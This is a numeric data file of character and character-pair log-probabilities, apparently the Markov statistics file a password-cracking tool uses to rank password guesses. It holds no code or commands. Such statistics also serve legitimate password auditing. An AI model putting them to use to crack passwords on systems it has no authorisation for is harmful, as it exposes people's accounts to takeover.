-61=proba2[85*256+109] -36=proba2[85*256+110] -61=proba2[85*256+112] -50=proba2[85*256+114] -43=proba2[85*256+115] -61=proba2[85*256+116] -61=proba2[85*256+118] -50=proba2[85*256+120] -47=proba2[85*256+121] -50=proba2[85*256+122] -73=proba1[86] -55=proba2[86*256+33] -55=proba2[86*256+43] -55=proba2[86*256+46] -55=proba2[86*256+48] -31=proba2[86*256+49] -31=proba2[86*256+50] -37=proba2[86*256+51] -55=proba2[86*256+52] -48=proba2[86*256+53] -44=proba2[86*256+54] -48=proba2[86*256+55] -48=proba2[86*256+56] -48=proba2[86*256+57] -20=proba2[86*256+65] -44=proba2[86*256+66] -55=proba2[86*256+67] -35=proba2[86*256+68] -22=proba2[86*256+69] -48=proba2[86*256+70] -48=proba2[86*256+71] -48=proba2[86*256+72] -25=proba2[86*256+73] -44=proba2[86*256+74] -55=proba2[86*256+75] -44=proba2[86*256+76] -34=proba2[86*256+79] -44=proba2[86*256+80] -55=proba2[86*256+81] -41=proba2[86*256+82] -41=proba2[86*256+83] -38=proba2[86*256+84] -55=proba2[86*256+85] -44=proba2[86*256+86] -55=proba2[86*256+87] -55=proba2[86*256+89] -55=proba2[86*256+90] -26=proba2[86*256+97] -29=proba2[86*256+101] -44=proba2[86*256+102] -55=proba2[86*256+103] -55=proba2[86*256+104] -27=proba2[86*256+105] -48=proba2[86*256+107] -55=proba2[86*256+108] -48=proba2[86*256+109] -41=proba2[86*256+111] -48=proba2[86*256+112] -44=proba2[86*256+114] -55=proba2[86*256+117] -48=proba2[86*256+118] -55=proba2[86*256+122] -79=proba1[87] -51=proba2[87*256+33] -51=proba2[87*256+42] -40=proba2[87*256+46] -51=proba2[87*256+48] -35=proba2[87*256+49] -44=proba2[87*256+50] -35=proba2[87*256+51] -44=proba2[87*256+52] -51=proba2[87*256+53] -44=proba2[87*256+54] -37=proba2[87*256+55] -51=proba2[87*256+63] -22=proba2[87*256+65] -44=proba2[87*256+66] -40=proba2[87*256+67] -51=proba2[87*256+68] -33=proba2[87*256+69] -51=proba2[87*256+70] -51=proba2[87*256+71] -30=proba2[87*256+72] -31=proba2[87*256+73] -44=proba2[87*256+74] -40=proba2[87*256+75] -40=proba2[87*256+76] -37=proba2[87*256+77] -44=proba2[87*256+78] -33=proba2[87*256+79] -40=proba2[87*256+80] -35=proba2[87*256+81] -40=proba2[87*256+82] -40=proba2[87*256+83] -40=proba2[87*256+84] -51=proba2[87*256+85] -51=proba2[87*256+86] -44=proba2[87*256+87] -51=proba2[87*256+88] -44=proba2[87*256+90] -28=proba2[87*256+97] -51=proba2[87*256+100] -27=proba2[87*256+101] -40=proba2[87*256+104] -33=proba2[87*256+105] -51=proba2[87*256+106] -37=proba2[87*256+107] -51=proba2[87*256+110] -40=proba2[87*256+111] -37=proba2[87*256+113] -44=proba2[87*256+114] -51=proba2[87*256+115] -51=proba2[87*256+120] -80=proba1[88] -50=proba2[88*256+45] -50=proba2[88*256+46] -39=proba2[88*256+48] -30=proba2[88*256+49] -27=proba2[88*256+50] -43=proba2[88*256+51] -34=proba2[88*256+52] -50=proba2[88*256+53] -39=proba2[88*256+54] -34=proba2[88*256+55] -50=proba2[88*256+56] -50=proba2[88*256+57] -28=proba2[88*256+65] -50=proba2[88*256+66] -30=proba2[88*256+67] -32=proba2[88*256+68] -32=proba2[88*256+69] -36=proba2[88*256+70] -39=proba2[88*256+71] -34=proba2[88*256+73] -50=proba2[88*256+74] -50=proba2[88*256+75] -50=proba2[88*256+77] -43=proba2[88*256+78] -39=proba2[88*256+79] -34=proba2[88*256+80] -39=proba2[88*256+82] -39=proba2[88*256+83] -43=proba2[88*256+84] -50=proba2[88*256+85] -50=proba2[88*256+86] -39=proba2[88*256+87] -25=proba2[88*256+88] -39=proba2[88*256+89] -36=proba2[88*256+97] -50=proba2[88*256+99] -43=proba2[88*256+100] -43=proba2[88*256+101] -39=proba2[88*256+103] -50=proba2[88*256+104] -50=proba2[88*256+105] -50=proba2[88*256+106] -50=proba2[88*256+109] -50=proba2[88*256+111] -50=proba2[88*256+112] -50=proba2[88*256+113] -39=proba2[88*256+114] -50=proba2[88*256+116] -50=proba2[88*256+118] -39=proba2[88*256+119] -50=proba2[88*256+120] -50=proba2[88*256+121] -39=proba2[88*256+122] -78=proba1[89] -47=proba2[89*256+32] -54=proba2[89*256+38] -54=proba2[89*256+45] -43=proba2[89*256+48] -30=proba2[89*256+49] -43=proba2[89*256+50] -47=proba2[89*256+51] -47=proba2[89*256+52] -40=proba2[89*256+53] -36=proba2[89*256+54] -33=proba2[89*256+55] -54=proba2[89*256+56] -43=proba2[89*256+57] -28=proba2[89*256+65] -43=proba2[89*256+66] -35=proba2[89*256+67] -33=proba2[89*256+68] -38=proba2[89*256+69] -54=proba2[89*256+70] -28=proba2[89*256+71] -54=proba2[89*256+72] -43=proba2[89*256+73] -54=proba2[89*256+74] -47=proba2[89*256+75] -31=proba2[89*256+76] -31=proba2[89*256+77] -38=proba2[89*256+78] -28=proba2[89*256+79] -36=proba2[89*256+80] -40=proba2[89*256+81] -47=proba2[89*256+82] -31=proba2[89*256+83] -43=proba2[89*256+84] -47=proba2[89*256+85] -54=proba2[89*256+86] -54=proba2[89*256+87] -54=proba2[89*256+88] -54=proba2[89*256+89] -38=proba2[89*256+90] -36=proba2[89*256+97] -54=proba2[89*256+99] -47=proba2[89*256+100] -54=proba2[89*256+101] -38=proba2[89*256+103] -54=proba2[89*256+104] -47=proba2[89*256+105] -47=proba2[89*256+106] -43=proba2[89*256+107] -47=proba2[89*256+108] -54=proba2[89*256+110] -33=proba2[89*256+111] -47=proba2[89*256+112] -54=proba2[89*256+114] -47=proba2[89*256+115] -43=proba2[89*256+116] -54=proba2[89*256+117] -47=proba2[89*256+118] -35=proba2[89*256+119] -54=proba2[89*256+120] -47=proba2[89*256+122] -76=proba1[90] -54=proba2[90*256+32] -54=proba2[90*256+38] -54=proba2[90*256+42] -33=proba2[90*256+48] -34=proba2[90*256+49] -34=proba2[90*256+50] -47=proba2[90*256+51] -32=proba2[90*256+52] -40=proba2[90*256+53] -38=proba2[90*256+54] -40=proba2[90*256+55] -54=proba2[90*256+56] -54=proba2[90*256+57] -25=proba2[90*256+65] -38=proba2[90*256+66] -47=proba2[90*256+67] -47=proba2[90*256+68] -24=proba2[90*256+69] -38=proba2[90*256+70] -31=proba2[90*256+73] -43=proba2[90*256+74] -43=proba2[90*256+75] -47=proba2[90*256+76] -54=proba2[90*256+77] -25=proba2[90*256+79] -54=proba2[90*256+80] -47=proba2[90*256+81] -47=proba2[90*256+82] -43=proba2[90*256+83] -43=proba2[90*256+84] -43=proba2[90*256+85] -47=proba2[90*256+86] -47=proba2[90*256+87] -47=proba2[90*256+88] -47=proba2[90*256+89] -34=proba2[90*256+90] -36=proba2[90*256+97] -54=proba2[90*256+98] -54=proba2[90*256+99] -54=proba2[90*256+100] -34=proba2[90*256+101] -38=proba2[90*256+105] -54=proba2[90*256+106] -40=proba2[90*256+107] -47=proba2[90*256+109] -47=proba2[90*256+110] -32=proba2[90*256+111] -47=proba2[90*256+112] -47=proba2[90*256+115] -54=proba2[90*256+116] -33=proba2[90*256+117] -43=proba2[90*256+120] -54=proba2[90*256+121] -97=proba1[91] -23=proba2[91*256+48] -23=proba2[91*256+57] -17=proba2[91*256+77] -23=proba2[91*256+83] -23=proba2[91*256+93] -23=proba2[91*256+97] -17=proba2[91*256+98] -23=proba2[91*256+110] -23=proba2[91*256+117] -118=proba1[93] -12=proba2[93*256+48] -19=proba2[93*256+54] -19=proba2[93*256+59] -12=proba2[93*256+64] -19=proba2[93*256+125] -23=proba2[94*256+40] -23=proba2[94*256+41] -23=proba2[94*256+42] -23=proba2[94*256+49] -23=proba2[94*256+95] -23=proba2[94*256+98] -16=proba2[94*256+99] -23=proba2[94*256+109] -23=proba2[94*256+110] -98=proba1[95] -35=proba2[95*256+33] -49=proba2[95*256+41] -49=proba2[95*256+42] -49=proba2[95*256+43] -42=proba2[95*256+45] -33=proba2[95*256+48] -29=proba2[95*256+49] -31=proba2[95*256+50] -42=proba2[95*256+51] -42=proba2[95*256+52] -42=proba2[95*256+53] -35=proba2[95*256+54] -49=proba2[95*256+55] -49=proba2[95*256+56] -29=proba2[95*256+57] -49=proba2[95*256+64] -49=proba2[95*256+65] -49=proba2[95*256+68] -49=proba2[95*256+72] -49=proba2[95*256+77] -49=proba2[95*256+80] -49=proba2[95*256+85] -27=proba2[95*256+95] -35=proba2[95*256+97] -49=proba2[95*256+98] -33=proba2[95*256+99] -27=proba2[95*256+100] -38=proba2[95*256+101] -29=proba2[95*256+102] -49=proba2[95*256+103] -49=proba2[95*256+104] -49=proba2[95*256+105] -42=proba2[95*256+106] -42=proba2[95*256+107] -33=proba2[95*256+108] -49=proba2[95*256+109] -35=proba2[95*256+111] -42=proba2[95*256+112] -35=proba2[95*256+114] -38=proba2[95*256+115] -31=proba2[95*256+116] -49=proba2[95*256+117] -38=proba2[95*256+118] -42=proba2[95*256+119] -42=proba2[95*256+120] -42=proba2[95*256+121] -42=proba2[95*256+122] -49=proba2[95*256+126] -118=proba1[96] -10=proba2[96*256+49] -10=proba2[96*256+51] -10=proba2[96*256+100] -27=proba1[97] -85=proba2[97*256+32] -83=proba2[97*256+33] -112=proba2[97*256+34] -98=proba2[97*256+35] -98=proba2[97*256+36] -105=proba2[97*256+37] -86=proba2[97*256+38] -112=proba2[97*256+39] -105=proba2[97*256+40] -105=proba2[97*256+41] -98=proba2[97*256+42] -98=proba2[97*256+43] -98=proba2[97*256+44] -83=proba2[97*256+45] -84=proba2[97*256+46] -57=proba2[97*256+48] -46=proba2[97*256+49] -51=proba2[97*256+50] -59=proba2[97*256+51] -61=proba2[97*256+52] -62=proba2[97*256+53] -60=proba2[97*256+54] -58=proba2[97*256+55] -64=proba2[97*256+56] -55=proba2[97*256+57] -98=proba2[97*256+59] -112=proba2[97*256+60] -98=proba2[97*256+61] -101=proba2[97*256+62] -105=proba2[97*256+63] -105=proba2[97*256+64] -112=proba2[97*256+65] -98=proba2[97*256+66] -92=proba2[97*256+67] -105=proba2[97*256+68] -98=proba2[97*256+70] -98=proba2[97*256+71] -105=proba2[97*256+72] -112=proba2[97*256+73] -105=proba2[97*256+74] -92=proba2[97*256+75] -101=proba2[97*256+76] -88=proba2[97*256+77] -98=proba2[97*256+78] -105=proba2[97*256+79] -85=proba2[97*256+80] -105=proba2[97*256+81] -91=proba2[97*256+82] -94=proba2[97*256+83] -98=proba2[97*256+84] -101=proba2[97*256+86] -112=proba2[97*256+87] -112=proba2[97*256+88] -112=proba2[97*256+90] -112=proba2[97*256+93] -83=proba2[97*256+95] -44=proba2[97*256+97] -32=proba2[97*256+98] -31=proba2[97*256+99] -32=proba2[97*256+100] -45=proba2[97*256+101] -42=proba2[97*256+102] -34=proba2[97*256+103] -45=proba2[97*256+104] -32=proba2[97*256+105] -52=proba2[97*256+106] -41=proba2[97*256+107] -23=proba2[97*256+108] -28=proba2[97*256+109] -18=proba2[97*256+110] -49=proba2[97*256+111] -37=proba2[97*256+112] -57=proba2[97*256+113] -20=proba2[97*256+114] -28=proba2[97*256+115] -27=proba2[97*256+116] -30=proba2[97*256+117] -38=proba2[97*256+118] -52=proba2[97*256+119] -46=proba2[97*256+120] -41=proba2[97*256+121] -40=proba2[97*256+122] -28=proba1[98] -86=proba2[98*256+32] -89=proba2[98*256+33] -99=proba2[98*256+36] -93=proba2[98*256+38] -99=proba2[98*256+40] -99=proba2[98*256+41] -99=proba2[98*256+42] -93=proba2[98*256+43] -99=proba2[98*256+44] -89=proba2[98*256+45] -80=proba2[98*256+46] -52=proba2[98*256+48] -46=proba2[98*256+49] -48=proba2[98*256+50] -54=proba2[98*256+51] -59=proba2[98*256+52] -59=proba2[98*256+53] -56=proba2[98*256+54] -55=proba2[98*256+55] -59=proba2[98*256+56] -55=proba2[98*256+57] -99=proba2[98*256+59] -93=proba2[98*256+61] -99=proba2[98*256+63] -93=proba2[98*256+64] -83=proba2[98*256+65] -93=proba2[98*256+66] -99=proba2[98*256+67] -89=proba2[98*256+68] -99=proba2[98*256+69] -93=proba2[98*256+70] -83=proba2[98*256+71] -86=proba2[98*256+73] -93=proba2[98*256+74] -99=proba2[98*256+75] -93=proba2[98*256+78] -86=proba2[98*256+82] -93=proba2[98*256+83] -93=proba2[98*256+84] -99=proba2[98*256+90] -86=proba2[98*256+95] -18=proba2[98*256+97] -37=proba2[98*256+98] -40=proba2[98*256+99] -41=proba2[98*256+100] -16=proba2[98*256+101] -49=proba2[98*256+102] -49=proba2[98*256+103] -53=proba2[98*256+104] -22=proba2[98*256+105] -51=proba2[98*256+106] -56=proba2[98*256+107] -28=proba2[98*256+108] -45=proba2[98*256+109] -50=proba2[98*256+110] -18=proba2[98*256+111] -50=proba2[98*256+112] -63=proba2[98*256+113] -25=proba2[98*256+114] -40=proba2[98*256+115] -49=proba2[98*256+116] -31=proba2[98*256+117] -54=proba2[98*256+118] -56=proba2[98*256+119] -60=proba2[98*256+120] -40=proba2[98*256+121] -53=proba2[98*256+122] -25=proba1[99] -87=proba2[99*256+32] -81=proba2[99*256+33] -103=proba2[99*256+34] -92=proba2[99*256+36] -103=proba2[99*256+37] -85=proba2[99*256+38] -96=proba2[99*256+39] -89=proba2[99*256+42] -89=proba2[99*256+43] -92=proba2[99*256+44] -85=proba2[99*256+45] -89=proba2[99*256+46] -55=proba2[99*256+48] -45=proba2[99*256+49] -49=proba2[99*256+50] -56=proba2[99*256+51] -60=proba2[99*256+52] -62=proba2[99*256+53] -57=proba2[99*256+54] -60=proba2[99*256+55] -65=proba2[99*256+56] -56=proba2[99*256+57] -96=proba2[99*256+59] -85=proba2[99*256+61] -89=proba2[99*256+64] -89=proba2[99*256+65] -103=proba2[99*256+66] -96=proba2[99*256+67] -103=proba2[99*256+68] -92=proba2[99*256+69] -87=proba2[99*256+70] -87=proba2[99*256+72] -103=proba2[99*256+74] -103=proba2[99*256+75] -103=proba2[99*256+76] -103=proba2[99*256+80] -92=proba2[99*256+81] -103=proba2[99*256+82] -92=proba2[99*256+83] -96=proba2[99*256+84] -92=proba2[99*256+85] -103=proba2[99*256+86] -103=proba2[99*256+88] -87=proba2[99*256+89] -92=proba2[99*256+95] -19=proba2[99*256+97] -44=proba2[99*256+98] -39=proba2[99*256+99] -43=proba2[99*256+100] -24=proba2[99*256+101] -49=proba2[99*256+102] -48=proba2[99*256+103] -16=proba2[99*256+104] -31=proba2[99*256+105] -53=proba2[99*256+106] -28=proba2[99*256+107] -30=proba2[99*256+108] -43=proba2[99*256+109] -50=proba2[99*256+110] -18=proba2[99*256+111] -45=proba2[99*256+112] -50=proba2[99*256+113] -31=proba2[99*256+114] -43=proba2[99*256+115] -37=proba2[99*256+116] -39=proba2[99*256+117] -48=proba2[99*256+118] -58=proba2[99*256+119] -62=proba2[99*256+120] -38=proba2[99*256+121] -62=proba2[99*256+122] -103=proba2[99*256+124] -30=proba1[100] -100=proba2[100*256+32] -76=proba2[100*256+33] -86=proba2[100*256+35] -100=proba2[100*256+37] -86=proba2[100*256+38] -84=proba2[100*256+39] -86=proba2[100*256+42] -100=proba2[100*256+43] -79=proba2[100*256+45] -84=proba2[100*256+46] -49=proba2[100*256+48] -43=proba2[100*256+49] -47=proba2[100*256+50] -53=proba2[100*256+51] -55=proba2[100*256+52] -57=proba2[100*256+53] -54=proba2[100*256+54] -54=proba2[100*256+55] -61=proba2[100*256+56] -53=proba2[100*256+57] -89=proba2[100*256+59] -100=proba2[100*256+61] -100=proba2[100*256+64] -93=proba2[100*256+65] -93=proba2[100*256+66] -100=proba2[100*256+68] -84=proba2[100*256+69] -100=proba2[100*256+70] -93=proba2[100*256+71] -93=proba2[100*256+72] -100=proba2[100*256+73] -100=proba2[100*256+76] -84=proba2[100*256+77] -93=proba2[100*256+78] -100=proba2[100*256+79] -89=proba2[100*256+80] -100=proba2[100*256+81] -100=proba2[100*256+82] -93=proba2[100*256+83] -100=proba2[100*256+84] -93=proba2[100*256+85] -100=proba2[100*256+86] -93=proba2[100*256+87] -100=proba2[100*256+89] -89=proba2[100*256+90] -86=proba2[100*256+95] -20=proba2[100*256+97] -41=proba2[100*256+98] -41=proba2[100*256+99] -38=proba2[100*256+100] -15=proba2[100*256+101] -43=proba2[100*256+102] -43=proba2[100*256+103] -46=proba2[100*256+104] -21=proba2[100*256+105] -36=proba2[100*256+106] -52=proba2[100*256+107] -41=proba2[100*256+108] -40=proba2[100*256+109] -48=proba2[100*256+110] -21=proba2[100*256+111] -45=proba2[100*256+112] -64=proba2[100*256+113] -26=proba2[100*256+114] -38=proba2[100*256+115] -47=proba2[100*256+116] -29=proba2[100*256+117] -49=proba2[100*256+118] -50=proba2[100*256+119] -57=proba2[100*256+120] -37=proba2[100*256+121] -53=proba2[100*256+122] -36=proba1[101] -75=proba2[101*256+32] -82=proba2[101*256+33] -91=proba2[101*256+35] -91=proba2[101*256+36] -110=proba2[101*256+37] -89=proba2[101*256+38] -103=proba2[101*256+39] -103=proba2[101*256+40] -103=proba2[101*256+41] -84=proba2[101*256+42] -92=proba2[101*256+43] -96=proba2[101*256+44] -78=proba2[101*256+45] -87=proba2[101*256+46] -54=proba2[101*256+48] -42=proba2[101*256+49] -47=proba2[101*256+50] -54=proba2[101*256+51] -58=proba2[101*256+52] -58=proba2[101*256+53] -56=proba2[101*256+54] -54=proba2[101*256+55] -61=proba2[101*256+56] -52=proba2[101*256+57] -103=proba2[101*256+59] -92=proba2[101*256+61] -103=proba2[101*256+63] -91=proba2[101*256+64] -103=proba2[101*256+65] -92=proba2[101*256+66] -92=proba2[101*256+67] -89=proba2[101*256+68] -110=proba2[101*256+69] -99=proba2[101*256+70] -99=proba2[101*256+71] -99=proba2[101*256+72] -110=proba2[101*256+73] -103=proba2[101*256+74] -92=proba2[101*256+75] -91=proba2[101*256+76] -92=proba2[101*256+77] -96=proba2[101*256+78] -110=proba2[101*256+79] -110=proba2[101*256+80] -103=proba2[101*256+81] -87=proba2[101*256+82] -87=proba2[101*256+83] -94=proba2[101*256+84] -92=proba2[101*256+85] -103=proba2[101*256+86] -99=proba2[101*256+87] -96=proba2[101*256+88] -110=proba2[101*256+89] -94=proba2[101*256+90] -110=proba2[101*256+93] -103=proba2[101*256+94] -83=proba2[101*256+95] -32=proba2[101*256+97] -33=proba2[101*256+98] -33=proba2[101*256+99] -32=proba2[101*256+100] -38=proba2[101*256+101] -41=proba2[101*256+102] -38=proba2[101*256+103] -51=proba2[101*256+104] -40=proba2[101*256+105] -53=proba2[101*256+106] -47=proba2[101*256+107] -22=proba2[101*256+108] -33=proba2[101*256+109] -23=proba2[101*256+110] -44=proba2[101*256+111] -38=proba2[101*256+112] -62=proba2[101*256+113] -16=proba2[101*256+114] -25=proba2[101*256+115] -26=proba2[101*256+116] -35=proba2[101*256+117] -39=proba2[101*256+118] -49=proba2[101*256+119] -41=proba2[101*256+120] -43=proba2[101*256+121] -45=proba2[101*256+122] -110=proba2[101*256+126] -31=proba1[102] -84=proba2[102*256+32] -74=proba2[102*256+33] -88=proba2[102*256+38] -88=proba2[102*256+41] -95=proba2[102*256+42] -84=proba2[102*256+44] -84=proba2[102*256+45] -81=proba2[102*256+46] -52=proba2[102*256+48] -41=proba2[102*256+49] -46=proba2[102*256+50] -54=proba2[102*256+51] -53=proba2[102*256+52] -52=proba2[102*256+53] -53=proba2[102*256+54] -53=proba2[102*256+55] -57=proba2[102*256+56] -52=proba2[102*256+57] -88=proba2[102*256+64] -84=proba2[102*256+65] -84=proba2[102*256+66] -88=proba2[102*256+67] -88=proba2[102*256+68] -95=proba2[102*256+69] -95=proba2[102*256+70] -88=proba2[102*256+72] -95=proba2[102*256+73] -95=proba2[102*256+74] -95=proba2[102*256+75] -95=proba2[102*256+76] -81=proba2[102*256+78] -95=proba2[102*256+80] -95=proba2[102*256+84] -95=proba2[102*256+85] -88=proba2[102*256+86] -95=proba2[102*256+87] -88=proba2[102*256+90] -81=proba2[102*256+95] -20=proba2[102*256+97] -41=proba2[102*256+98] -40=proba2[102*256+99] -42=proba2[102*256+100] -25=proba2[102*256+101] -28=proba2[102*256+102] -40=proba2[102*256+103] -52=proba2[102*256+104] -24=proba2[102*256+105] -50=proba2[102*256+106] -51=proba2[102*256+107] -26=proba2[102*256+108] -40=proba2[102*256+109] -50=proba2[102*256+110] -22=proba2[102*256+111] -43=proba2[102*256+112] -64=proba2[102*256+113] -17=proba2[102*256+114] -40=proba2[102*256+115] -35=proba2[102*256+116] -31=proba2[102*256+117] -51=proba2[102*256+118] -54=proba2[102*256+119] -48=proba2[102*256+120] -48=proba2[102*256+121] -59=proba2[102*256+122] -32=proba1[103] -86=proba2[103*256+32] -81=proba2[103*256+33] -97=proba2[103*256+35] -90=proba2[103*256+36] -97=proba2[103*256+38] -83=proba2[103*256+39] -97=proba2[103*256+42] -90=proba2[103*256+43] -83=proba2[103*256+45] -90=proba2[103*256+46] -55=proba2[103*256+48] -46=proba2[103*256+49] -49=proba2[103*256+50] -56=proba2[103*256+51] -59=proba2[103*256+52] -57=proba2[103*256+53] -56=proba2[103*256+54] -56=proba2[103*256+55] -61=proba2[103*256+56] -56=proba2[103*256+57] -97=proba2[103*256+59] -97=proba2[103*256+60] -86=proba2[103*256+64] -81=proba2[103*256+65] -83=proba2[103*256+66] -97=proba2[103*256+67] -97=proba2[103*256+68] -86=proba2[103*256+69] -97=proba2[103*256+70] -97=proba2[103*256+71] -90=proba2[103*256+72] -97=proba2[103*256+74] -97=proba2[103*256+75] -97=proba2[103*256+76] -90=proba2[103*256+78] -90=proba2[103*256+79] -83=proba2[103*256+80] -97=proba2[103*256+84] -97=proba2[103*256+86] -83=proba2[103*256+87] -90=proba2[103*256+90] -97=proba2[103*256+94] -86=proba2[103*256+95] -18=proba2[103*256+97] -41=proba2[103*256+98] -46=proba2[103*256+99] -43=proba2[103*256+100] -18=proba2[103*256+101] -48=proba2[103*256+102] -38=proba2[103*256+103] -35=proba2[103*256+104] -24=proba2[103*256+105] -55=proba2[103*256+106] -54=proba2[103*256+107] -32=proba2[103*256+108] -42=proba2[103*256+109] -32=proba2[103*256+110] -21=proba2[103*256+111] -45=proba2[103*256+112] -67=proba2[103*256+113] -25=proba2[103*256+114] -41=proba2[103*256+115] -45=proba2[103*256+116] -23=proba2[103*256+117] -55=proba2[103*256+118] -47=proba2[103*256+119] -61=proba2[103*256+120] -43=proba2[103*256+121] -57=proba2[103*256+122] -38=proba1[104] -79=proba2[104*256+32] -90=proba2[104*256+33] -97=proba2[104*256+39] -97=proba2[104*256+42] -90=proba2[104*256+45] -84=proba2[104*256+46] -53=proba2[104*256+48] -47=proba2[104*256+49] -49=proba2[104*256+50] -56=proba2[104*256+51] -58=proba2[104*256+52] -59=proba2[104*256+53] -56=proba2[104*256+54] -55=proba2[104*256+55] -60=proba2[104*256+56] -55=proba2[104*256+57] -97=proba2[104*256+59] -97=proba2[104*256+60] -97=proba2[104*256+61] -86=proba2[104*256+64] -86=proba2[104*256+65] -86=proba2[104*256+66] -90=proba2[104*256+67] -97=proba2[104*256+68] -81=proba2[104*256+71] -97=proba2[104*256+74] -97=proba2[104*256+75] -97=proba2[104*256+79] -97=proba2[104*256+80] -97=proba2[104*256+81] -97=proba2[104*256+82] -86=proba2[104*256+83] -81=proba2[104*256+84] -97=proba2[104*256+87] -86=proba2[104*256+88] -84=proba2[104*256+89] -90=proba2[104*256+95] -14=proba2[104*256+97] -45=proba2[104*256+98] -47=proba2[104*256+99] -47=proba2[104*256+100] -16=proba2[104*256+101] -54=proba2[104*256+102] -53=proba2[104*256+103] -54=proba2[104*256+104] -19=proba2[104*256+105] -56=proba2[104*256+106] -54=proba2[104*256+107] -41=proba2[104*256+108] -42=proba2[104*256+109] -41=proba2[104*256+110] -20=proba2[104*256+111] -47=proba2[104*256+112] -59=proba2[104*256+113] -32=proba2[104*256+114] -48=proba2[104*256+115] -39=proba2[104*256+116] -31=proba2[104*256+117] -58=proba2[104*256+118] -56=proba2[104*256+119] -57=proba2[104*256+120] -39=proba2[104*256+121] -59=proba2[104*256+122] -42=proba1[105] -95=proba2[105*256+32] -90=proba2[105*256+33] -108=proba2[105*256+36] -97=proba2[105*256+38] -108=proba2[105*256+39] -108=proba2[105*256+41] -95=proba2[105*256+42] -92=proba2[105*256+43] -108=proba2[105*256+44] -81=proba2[105*256+45] -88=proba2[105*256+46] -59=proba2[105*256+48] -50=proba2[105*256+49] -54=proba2[105*256+50] -61=proba2[105*256+51] -65=proba2[105*256+52] -64=proba2[105*256+53] -62=proba2[105*256+54] -60=proba2[105*256+55] -66=proba2[105*256+56] -58=proba2[105*256+57] -101=proba2[105*256+59] -101=proba2[105*256+61] -101=proba2[105*256+63] -97=proba2[105*256+64] -95=proba2[105*256+65] -101=proba2[105*256+66] -97=proba2[105*256+67] -97=proba2[105*256+68] -97=proba2[105*256+69] -108=proba2[105*256+70] -90=proba2[105*256+71] -101=proba2[105*256+75] -92=proba2[105*256+76] -95=proba2[105*256+77] -90=proba2[105*256+78] -108=proba2[105*256+79] -95=proba2[105*256+80] -95=proba2[105*256+82] -108=proba2[105*256+83] -92=proba2[105*256+84] -108=proba2[105*256+86] -108=proba2[105*256+89] -108=proba2[105*256+90] -90=proba2[105*256+95] -30=proba2[105*256+97] -38=proba2[105*256+98] -24=proba2[105*256+99] -33=proba2[105*256+100] -22=proba2[105*256+101] -43=proba2[105*256+102] -35=proba2[105*256+103] -57=proba2[105*256+104] -54=proba2[105*256+105] -56=proba2[105*256+106] -38=proba2[105*256+107] -24=proba2[105*256+108] -32=proba2[105*256+109] -18=proba2[105*256+110] -32=proba2[105*256+111] -39=proba2[105*256+112] -50=proba2[105*256+113] -30=proba2[105*256+114] -24=proba2[105*256+115] -28=proba2[105*256+116] -50=proba2[105*256+117] -39=proba2[105*256+118] -59=proba2[105*256+119] -45=proba2[105*256+120] -65=proba2[105*256+121] -44=proba2[105*256+122] -108=proba2[105*256+123] -108=proba2[105*256+124] -32=proba1[106] -91=proba2[106*256+33] -91=proba2[106*256+36] -84=proba2[106*256+38] -84=proba2[106*256+39] -91=proba2[106*256+43] -80=proba2[106*256+44] -80=proba2[106*256+45] -80=proba2[106*256+46] -62=proba2[106*256+48] -48=proba2[106*256+49] -50=proba2[106*256+50] -57=proba2[106*256+51] -56=proba2[106*256+52] -58=proba2[106*256+53] -57=proba2[106*256+54] -56=proba2[106*256+55] -62=proba2[106*256+56] -57=proba2[106*256+57] -84=proba2[106*256+63] -84=proba2[106*256+64] -84=proba2[106*256+65] -91=proba2[106*256+68] -91=proba2[106*256+69] -91=proba2[106*256+70] -84=proba2[106*256+75] -91=proba2[106*256+77] -91=proba2[106*256+80] -80=proba2[106*256+81] -84=proba2[106*256+85] -84=proba2[106*256+87] -91=proba2[106*256+89] -84=proba2[106*256+95] -19=proba2[106*256+97] -35=proba2[106*256+98] -31=proba2[106*256+99] -38=proba2[106*256+100] -19=proba2[106*256+101] -36=proba2[106*256+102] -43=proba2[106*256+103] -48=proba2[106*256+104] -30=proba2[106*256+105] -39=proba2[106*256+106] -44=proba2[106*256+107] -35=proba2[106*256+108] -32=proba2[106*256+109] -46=proba2[106*256+110] -18=proba2[106*256+111] -30=proba2[106*256+112] -64=proba2[106*256+113] -41=proba2[106*256+114] -40=proba2[106*256+115] -44=proba2[106*256+116] -22=proba2[106*256+117] -48=proba2[106*256+118] -56=proba2[106*256+119] -61=proba2[106*256+120] -47=proba2[106*256+121] -59=proba2[106*256+122] -91=proba2[106*256+123] -37=proba1[107] -78=proba2[107*256+32] -78=proba2[107*256+33] -92=proba2[107*256+34] -92=proba2[107*256+36] -76=proba2[107*256+38] -92=proba2[107*256+39] -92=proba2[107*256+41] -92=proba2[107*256+42] -92=proba2[107*256+44] -76=proba2[107*256+45] -76=proba2[107*256+46] -50=proba2[107*256+48] -41=proba2[107*256+49] -45=proba2[107*256+50] -52=proba2[107*256+51] -55=proba2[107*256+52] -57=proba2[107*256+53] -51=proba2[107*256+54] -50=proba2[107*256+55] -50=proba2[107*256+56] -49=proba2[107*256+57] -92=proba2[107*256+59] -92=proba2[107*256+63] -81=proba2[107*256+64] -85=proba2[107*256+65] -92=proba2[107*256+68] -92=proba2[107*256+69] -92=proba2[107*256+70] -78=proba2[107*256+71] -92=proba2[107*256+72] -92=proba2[107*256+77] -92=proba2[107*256+78] -74=proba2[107*256+80] -85=proba2[107*256+81] -92=proba2[107*256+82] -81=proba2[107*256+84] -85=proba2[107*256+85] -92=proba2[107*256+87] -92=proba2[107*256+88] -92=proba2[107*256+95] -16=proba2[107*256+97] -45=proba2[107*256+98] -44=proba2[107*256+99] -46=proba2[107*256+100] -19=proba2[107*256+101] -47=proba2[107*256+102] -50=proba2[107*256+103] -35=proba2[107*256+104] -18=proba2[107*256+105] -50=proba2[107*256+106] -39=proba2[107*256+107] -36=proba2[107*256+108] -41=proba2[107*256+109] -43=proba2[107*256+110] -23=proba2[107*256+111] -46=proba2[107*256+112] -66=proba2[107*256+113] -32=proba2[107*256+114] -36=proba2[107*256+115] -44=proba2[107*256+116] -34=proba2[107*256+117] -58=proba2[107*256+118] -46=proba2[107*256+119] -63=proba2[107*256+120] -30=proba2[107*256+121] -50=proba2[107*256+122] -30=proba1[108] -92=proba2[108*256+32] -85=proba2[108*256+33] -106=proba2[108*256+35] -95=proba2[108*256+36] -83=proba2[108*256+38] -106=proba2[108*256+39] -106=proba2[108*256+40] -106=proba2[108*256+41] -95=proba2[108*256+42] -106=proba2[108*256+43] -86=proba2[108*256+44] -83=proba2[108*256+45] -83=proba2[108*256+46] -53=proba2[108*256+48] -47=proba2[108*256+49] -52=proba2[108*256+50] -57=proba2[108*256+51] 